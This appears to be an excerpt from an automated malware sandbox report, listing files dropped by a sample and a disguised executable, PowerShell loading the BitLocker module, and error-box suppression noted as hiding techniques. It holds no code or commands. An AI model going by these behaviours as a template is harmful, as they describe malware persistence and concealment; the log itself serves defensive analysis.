Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\OpmblTzY.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\EGTLBrur.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\uXAwROpJ.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\lpgghmkb.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\dQjRxcKu.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\UiPBOzEN.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\LEHLeGpf.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\BVovudjy.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\smUfKBeQ.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\ZVhzqwUB.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\PmOjGTOT.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\yfxFnhjF.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\gTVzTLOq.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\WkCjjiJI.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\MBiTzGEa.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\EYaePNot.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\upHOgkjL.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\kGnywIde.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\AGJFDLPU.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\rURxpiYh.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\hlxhFGTz.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\GqCLBHtD.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\ojlgiVNo.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\evHqyJTG.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\Mjflenyr.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\ucOGKASd.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\kokPbpXu.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\bKbarvIN.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\ThTkHCsg.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\zPgEnxiR.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\rlYPDESj.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\fsiyTJhB.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\bCsHMMhI.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\JqQCtqMt.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\sizXZEhe.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\hvVhpsmw.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\GFkmldBA.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\wRGvCRHS.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\fJpQiebD.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\WghbylMW.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\LsClOaRo.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\CJjVexLG.log	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
